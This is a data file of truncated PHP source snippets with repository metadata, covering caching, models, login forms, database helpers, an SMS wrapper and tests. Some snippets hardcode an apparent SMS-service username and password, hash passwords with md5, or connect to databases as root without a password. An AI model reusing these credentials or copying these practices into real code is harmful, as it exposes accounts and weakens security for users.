3abd99171588d89ee06492e9ec7da9b56ca5e93f | PHP | boxunphp/framework | /src/Cache/Drivers/ApcuDriver.php | UTF-8 | 1,346 | 2.59375 | 3 | [
"MIT"
] | permissive | <?php
/**
* This file is part of the Boxunsoft package.
*
* (c) Jordy <arno.zheng@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code
*/
namespace Fw\Cache\Drivers;
use Fw\Cache\DriverInterface;
use Fw\Instance\InstanceTrait... | true |
e5ee8e5764980ab4815a02bb59a86941427ac562 | PHP | kodiary/ratenrave | /app/Http/Models/Cuisines.php | UTF-8 | 398 | 2.59375 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Http\Models;
use Illuminate\Database\Eloquent\Model;
class Cuisines extends BaseModel {
protected $table = 'cuisines';
protected $primaryKey = 'id';
public $timestamps = false;
/**
* @param array
* @return Array
*/
public function populate($data) {
$cel... | true |
e4794127b8409970a8d4eb34b06cb3ded8b01923 | PHP | elimc/jumpstart | /lib/inc/CPT/CustomTaxonomy.php | UTF-8 | 3,034 | 2.859375 | 3 | [] | no_license | <?php
namespace jumpstart;
/**
* Automagically create a Custom Taxonomy.
*
* @link https://gist.github.com/dobbyloo/6478616 Original class that this class is based on.
* @link https://www.youtube.com/watch?v=Vetzgkv_eb8 Video instructions on using this class.
*/
class CustomTaxonomy {
protected $textdomain;... | true |
34aac297b5b8ce0e5f143bee319542a7b19d32e5 | PHP | frankbwire/Session-Control | /session/index.php | UTF-8 | 2,125 | 2.78125 | 3 | [] | no_license | <!--(C) author - frankline bwire-->
<?php
require "connect.php";
?>
<!--login form-->
<h3>LOGIN</h3>
<form action="index.php" method="post">
Enter ID: <input type="text" name="id">
Enter Password: <input type="password" name="pass">
<input type="submit" name="login" value="LOGIN">
</form>
<?php
//validate l... | true |
a56a4e51af379ef4c75f66b032459998f9222499 | PHP | artmarkov/yii2-datetime-converter | /tests/models/Post.php | UTF-8 | 1,589 | 2.75 | 3 | [
"BSD-3-Clause"
] | permissive | <?php
namespace tests\models;
use Yii;
use yii\base\Model;
use bupy7\datetime\converter\Converter;
/**
* Test model of `bupy7\datetime\converter\Converter` behavior.
* @author Belosludcev Vasilij <https://github.com/bupy7>
* @since 1.1.1
*/
class Post extends Model
{
/**
* @var string
*/
pu... | true |
e40ddb84e286afa7ecfc09401c22ae2a23f08b4e | PHP | 1q2qq789/tdNote | /tdNote/utils/dbUtils.php | UTF-8 | 694 | 2.90625 | 3 | [] | no_license | <?php
$DB = null;
function connect()
{
global $DB;
if ($DB == null) {
$dbType = "mysql";
$host = "localhost";
$port = 3306;
$dbname = "blog";
$user = "root";
$password = "";
try {
$DB = new PDO("$dbType:host=$host;port=$port;dbname... | true |
0fac7e87550dc6a49701fccde32f4ca70129f031 | PHP | M00ny0z/specLister | /mdparser.php | UTF-8 | 9,483 | 3.09375 | 3 | [] | no_license | <?php
// $WORD IS WORD TO PERFORM WORK ON
// $START IS IS STARTING INDEX
// $END IS ENDING INDEX
// $END MUST BE > $START
function substring($word, $start, $end) {
$output = "";
for($i = 0; $i < $end-$start; $i++) {
$output = $output . substr($word, $start + $i, 1);
}
return $output;
}
function header_coun... | true |
05f4813842aff1776f4cd6bec8fe9b12edefef2f | PHP | bbszt/app | /Weile/Services/Textmessage/MessageApi.php | UTF-8 | 678 | 2.90625 | 3 | [] | no_license | <?php namespace Weile\Services\Textmessage;
class MessageApi {
protected $username = 'szironman';
protected $password = 'wang23708593';
public function __construct() {
}
public function send($message, $to) {
return $this->send_sms($message, $to);
}
/**
* 普通接口发短信
* apikey 为云片分配的apikey
* text 为短信内容
... | true |
686f42f4c0192dc871cc5f8818d0fe99da04bbf2 | PHP | pankajvasnanitech123/Simple-Application-using-CakePHP-3.0-and-MySQL | /Blogs/config/src/Template/Users/index.ctp | UTF-8 | 1,194 | 2.875 | 3 | [
"MIT"
] | permissive | <!-- File: src/Template/Articles/index.ctp -->
<h1>Users</h1>
<a href="<?php echo $this->Url->build(["action" => "logout"]); ?>"><?= $this->Form->button(__('Logout'),array('style'=>'float:right;')) ?></a>
<a href="<?php echo $this->Url->build(["action" => "add"]); ?>"><?= $this->Form->button(__('Add New User'),array('... | true |
a3ac3fd50c2bf65bb239c40fb3c9c0af3f358f14 | PHP | G-Ecole-Plus/yii2-notifications | /src/Notification.php | UTF-8 | 3,378 | 3 | 3 | [
"MIT"
] | permissive | <?php
/**
* by Aleksandar Panic
* Company: 2amigOS!
*
**/
namespace dvamigos\Yii2\Notifications;
use yii\base\BaseObject;
class Notification extends BaseObject implements NotificationInterface
{
/** @var NotificationManager */
public $owner;
/**
* @var int Notification ID
*/
public $i... | true |
1f65c4deb494b41c1f42bbce4b4fd1e6239af5e0 | PHP | abbdan/tugaswp2 | /tugas/process.php | UTF-8 | 819 | 2.515625 | 3 | [] | no_license | <?php
if (isset($_POST['simpan'])) {
$nama = $_POST['nama'];
$jenis_kelamin = $_POST['jenis_kelamin'];
$id_divisi = $_POST['id_divisi'];
$alamat = $_POST['alamat'];
$kontak = $_POST['kontak'];
include_once 'koneksi.php';
$proses = $mysqli->query("INSERT INTO pe... | true |
d644fc825280966ffea73dc3b7f5e605b39827e3 | PHP | evapamfil/exam3 | /tests/unit/calculator/AdditionTest.php | UTF-8 | 609 | 2.5625 | 3 | [] | no_license | <?php
class AdditionTest extends \PHPUnit\Framework\TestCase
{
/** @test */
public function addsUpGivenOperands()
{
$addition = new \App\Calculator\Addition;
$operands = [5, 10];
$result = 15;
$addition->setOperands($operands);
$this->assertEquals($result, $addition... | true |
086b00357b0d33bde3f750b03b8da210fcfc4416 | PHP | SenseException/postgres-partial-index | /XmlConfigReader.php | UTF-8 | 656 | 2.703125 | 3 | [
"MIT"
] | permissive | <?php
namespace SenseException\PartialIndex;
use XMLReader;
class XmlConfigReader
{
/**
* @param XMLReader $xmlReader
*
* @return array
*/
public function readConfig(XMLReader $xmlReader)
{
$config = [];
while ($xmlReader->read()) {
switch (true) {
... | true |
d60f50b115197d12ffc65c36fc2de72a2bc0a1c1 | PHP | dmsloan/LearnPHP | /FunctionsDefining.php | UTF-8 | 759 | 3.296875 | 3 | [] | no_license | <!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<html>
<head>
<meta charset="UTF-8">
<title>Functions Defining</title>
</head>
<body>
... | true |
53a87552d6baed0915ee5f7baa80f2cc165c2fbb | PHP | GabrielMaxMaia/Sebook | /Sebookbranches/sebook_hostGator/#versoesAntigas/sebookV1/src/view/admin/index_adm.php | UTF-8 | 849 | 2.5625 | 3 | [] | no_license | <?php
ob_start();
if (isset($_GET['page']) && $_GET['page'] != "") {
$page = $_GET['page'];
if (isset($_GET['pasta']) && $_GET['pasta'] != "") {
$pasta = $_GET['pasta'];
require_once "./src/view/admin/$pasta/$page.php";
}
} else {
require_once "./src/view/admin/pages/apagar.php";
}
$outp... | true |
5f9257ef4237883c11d10344c762502633f5ff13 | PHP | Sywooch/rybalkastas | /backend/views/orders/order-delivery.php | UTF-8 | 1,763 | 2.578125 | 3 | [
"BSD-3-Clause"
] | permissive | <?php
/**
* Created by PhpStorm.
* User: TurningTide
* Date: 22.01.2018
* Time: 11:27
*/
$ar = [];
$arDates = [];
foreach ($array as $a){
$slug = \yii\helpers\Inflector::slug(trim($a));
$ar[$slug] = ['name' => $a];
}
foreach ($model as $m){
if($m['shipping_type'] == 'Самовывоз из магазина' || $m['ship... | true |
6fd56fc5c85b5ce01aa434fec89988224dbf6426 | PHP | matheuscastroweb/device-authorization | /models/Device_authorization.php | UTF-8 | 8,330 | 2.625 | 3 | [] | no_license | <?php
defined('BASEPATH') or exit('No direct script access allowed');
/**
* Class authorizaton device
*/
class Device_authorization extends Ion_auth_model
{
/**
* Database object
*
* @var object
*/
protected $db;
/**
* Search result if there is already a device request
*
... | true |
200cdfbb7bbfaa2a7208ac8eeea6f007b23199f1 | PHP | halgurdh/site | /wp-content/plugins/jetpack/modules/custom-css/csstidy/class.csstidy_ctype.php | UTF-8 | 1,389 | 2.59375 | 3 | [
"GPL-2.0-or-later",
"GPL-1.0-or-later",
"GPL-2.0-only",
"MIT"
] | permissive | <?php
/**
* CSSTidy - CSS Parser and Optimiser
*
* CSS ctype functions
* Defines some functions that can be not defined.
*
* This file is part of CSSTidy.
*
* CSSTidy is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Soft... | true |
7a41372c09d762595c6b67fdb422a8c40dcc0105 | PHP | luigivivian/ViviansGarden | /cadastrar.php | UTF-8 | 2,561 | 2.859375 | 3 | [] | no_license | <?php
include_once 'Classes/Usuario.php';
$u = new Usuario();
//validando dados
if($_POST['nome'] != null && $_POST['sobrenome'] != null && $_POST['login'] != null && $_POST['senha'] != null &&
$_POST['celular'] != null && $_POST['email'] != null && $_POST['cidade'] != null && $_POST['rua'] != null &&
$_POST... | true |
8696bbbbbb1c1923ade848c787364ce463ebb710 | PHP | Ranod98/SMS | /app/Repository/StudentPromotionRepository.php | UTF-8 | 4,377 | 2.5625 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Repository;
use App\Models\Grade;
use App\Models\Promotion;
use App\Models\Student;
use Illuminate\Support\Facades\DB;
class StudentPromotionRepository implements StudentPromotionRepositoryInterface
{
public function getPromotions()
{
$grades = Grade::all();
return v... | true |
4f651b744b0b8b6618b5eed2f25ef71b3434163a | PHP | ericboehs/sportscake | /app/controllers/basketball_event_states_controller.php | UTF-8 | 2,104 | 2.515625 | 3 | [] | no_license | <?php
class BasketballEventStatesController extends AppController {
var $name = 'BasketballEventStates';
var $helpers = array('Html', 'Form');
function index() {
$this->BasketballEventState->recursive = 0;
$this->set('basketballEventStates', $this->paginate());
}
function view($id = null) {
if (!$id) {
... | true |
4e5b40516ad7973131f80efb3dc1bcd85e5d49f3 | PHP | leonardsfetcu/visual-onetwopunch | /db.php | UTF-8 | 413 | 2.703125 | 3 | [] | no_license | <?php
function OpenConnection()
{
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "";
$db = "visual-otp";
$conn = new mysqli($dbhost, $dbuser, $dbpass,$db) or die("Connect failed: %s\n". $conn -> error);
return $conn;
}
function CloseConnection($conn)
{
$conn->close();
}
function CheckConnection($conn)... | true |
e078a760001804775d1c3ba2c67de1fb8af9bf61 | PHP | AlexandreDrain/Slime_project | /src/Repository/ProductRepository.php | UTF-8 | 396 | 2.5625 | 3 | [] | no_license | <?php
namespace App\Repository;
use App\Entity\Produit;
use App\Utilities\AbstractRepository;
class ProductRepository extends AbstractRepository
{
/**
* @return string
*/
protected function tableName(): string
{
return 'produit';
}
/**
* @return string
*/
protected... | true |
c578253fa462453378aeefa286c57d0c6aaa6d38 | PHP | whitneyz/Pokephp | /index.php | UTF-8 | 2,454 | 3.234375 | 3 | [] | no_license | <?php
declare(strict_types=1);
ini_set("display_errors", "1");
ini_set("display_startup_errors", "1");
error_reporting(E_ALL);
//variables
$pokName = $_GET["inputValue"];
$pokEvolution = $_GET["inputValue"];
// to fetch data use file_get_contents
//file_get_contents ( string $filename [, bool $use_include_path = F... | true |
3832b27ac99bb40834b2dec42d78bb6735b4b327 | PHP | transio/qiphp | /vendors/Qi/Archetype/Resultset.php | UTF-8 | 655 | 2.75 | 3 | [] | no_license | <?php
namespace Qi\Archetype;
/**
* @author Steven Moseley
*/
class Resultset extends Iterator
{
private $_result;
public function __construct(mysqli_result $result, $type, $nullable=true, $default=null)
{
$this->_result = $result;
parent::__construct($type, $nullable, $default);
}
... | true |
5c7ea9206f823297387df0ac5aedeb27c52b43fe | PHP | vocafeuvre/slim-php-di | /src/App/Transformer/UserTransformer.php | UTF-8 | 867 | 3.203125 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Transformer;
use App\Entity\User;
class UserTransformer {
/**
* Transforms a User entity into an json-able array.
*
* @param User $user
*
* @return array
*/
public function transform(User $user) {
$output = [
'id' => $user->getId(),
... | true |
f10c0b52226f3b5ac43d7517ce32d75943fa8c81 | PHP | binugoon/woonghee | /login/login.php | UTF-8 | 2,349 | 2.765625 | 3 | [] | no_license | <head>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/shop-item.css" rel="stylesheet">
<meta charset="utf-8">
</head>
<?php
//Connects to your Database
$ip=getenv('IP');
$conect = mysqli_connect($ip,"binugoon","", "c9") or die... | true |
960ca1241a51a32c1b392206f00a1fc8fe55782a | PHP | nakie/base | /app/models/Xml.php | UTF-8 | 6,926 | 2.75 | 3 | [] | no_license | <?php
/**
* COPYRIGHT (C) 1990-2011
* Integrated Corporate Solutions, Inc,
* Florence, AL 35630
*
*
* Model for reading a XML Printed
*
* @version 2011.3.10
* @package Models
*
*/
class Xml {
private $name = "";
private $number = "";
private $address = "";
private $zip = "";
private $state =... | true |
774c6c5b35a31a8eb180ef1bb1ad31b3db7d74c4 | PHP | grzegorzociepka/Sklep | /application/views/koszyk.php | UTF-8 | 2,088 | 2.625 | 3 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | <?php echo $header;?>
<table id="table" cellpadding="6" cellspacing="1" border="2">
<tr>
<th>Ilośc mordo</th>
<th>Opis</th>
<th style="text-align:right">Cena</th>
<th style="text-align:right">Całościowa cena</th>
</tr>
<?php $i = 1; ?>
<?php foreach ($this->cart->contents() as $items... | true |
6e2e7da06cc18f7d3d1a3185ba6c005d52eee88a | PHP | Holek/steam-condenser | /php/lib/steam/packets/A2M_GET_SERVERS_BATCH2_Packet.php | UTF-8 | 2,645 | 2.6875 | 3 | [
"BSD-3-Clause"
] | permissive | <?php
/**
* This code is free software; you can redistribute it and/or modify it under
* the terms of the new BSD License.
*
* Copyright (c) 2008-2011, Sebastian Staudt
*
* @license http://www.opensource.org/licenses/bsd-license.php New BSD License
*/
require_once STEAM_CONDENSER_PATH . 'steam/packets/SteamPack... | true |
271815f4215640bfbeef930b5e28e75b1777f78a | PHP | UrsuAndrei/Math-Puzzle | /date/list.php | UTF-8 | 421 | 2.71875 | 3 | [] | no_license | <?php
include "connect.php";
$sql = "SELECT * FROM numbers";
$result = $conn->query($sql);
$numbers = array();
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$numbers[]=array(
"id"=>$row["id"],
"firstNumber"=>intval($row["firstNumber"]),
"secondNumber"=>intval($row[... | true |
e5f4f21732b7aaf9c25592619940b341e16c51aa | PHP | drebroff/zend-scripts | /OOP/get_set.php | UTF-8 | 540 | 3.28125 | 3 | [] | no_license | <?php
/**
* Created by PhpStorm.
* User: dmitrij.rebrov
* Date: 26/06/2018
* Time: 15:45
*/
class BankBalance {
private $balance;
public function __get($propertyName) {
// echo "No property " . $propertyName;
return "No value " . $propertyName;
}
public function __set($propertyName... | true |
71fe387fbafcaa4c2cc1810ececbb89c57efbce5 | PHP | leonhelmus/xml-to-csv | /Original/contactImportFinalV3.php | UTF-8 | 2,524 | 2.9375 | 3 | [] | no_license | <?php
/***
* The FitForMe importer script
* Feed ERP contacts to our advertising API based on interest
*/
$xmlArray = json_decode(json_encode(simplexml_load_string(file_get_contents('contactlist.xml'))), true);
$categories = $xmlArray['categories']['category'];
$people = $xmlArray['people']['person'];
/**
* val... | true |
1089b63de6216fbb31dd5d24e562577bc5d31f1a | PHP | annapoulakos/pastebin | /php/phpwtc-AGyRRzuF.php | UTF-8 | 1,155 | 3.15625 | 3 | [
"MIT"
] | permissive | <?php
protected function parseData($data, $table, $measure, $isTwoCol, $type)
{
// Type 0 is regular data with metric/imperial
// Type 1 is regular data without metric/imperial
// Type 2 is irregular key:value data
// isTwoCol 0 is 1 column data
// isTwoCol 1 is 2 column data, column headers set elsewhere.
... | true |
951a7e805602511089f5f85c6135a889cdf43d31 | PHP | xXxcb/Student-ID-Generator | /login.php | UTF-8 | 1,607 | 2.765625 | 3 | [] | no_license | <?php
include ('./engine/connect.php');
if (isset($_POST["login"])) {
$username = checker_input($_POST['username']);
$password = md5(checker_input($_POST['password']));
if(!empty($_POST['username']) && !empty($_POST['password'])) {
try {
$query = $conn->prepare("SELECT * FROM admin_use... | true |
f5cf3d301c025afc02b74eda79db790220870961 | PHP | brettminnie/breakfast-serializer | /src/BreakfastSerializer/Plugin/DateTime/DateTimeHandler.php | UTF-8 | 2,133 | 2.8125 | 3 | [
"MIT"
] | permissive | <?php
namespace BDBStudios\BreakfastSerializer\Plugin\DateTime;
use BDBStudios\BreakfastSerializer\Plugin\PluginAbstract;
use BDBStudios\BreakfastSerializer\Plugin\PluginExecutionException;
/**
* Class DateTimeHandler
* @package BDBStudios\BreakfastSerializer\Plugin\DateTime
*/
class DateTimeHandler extends Plugi... | true |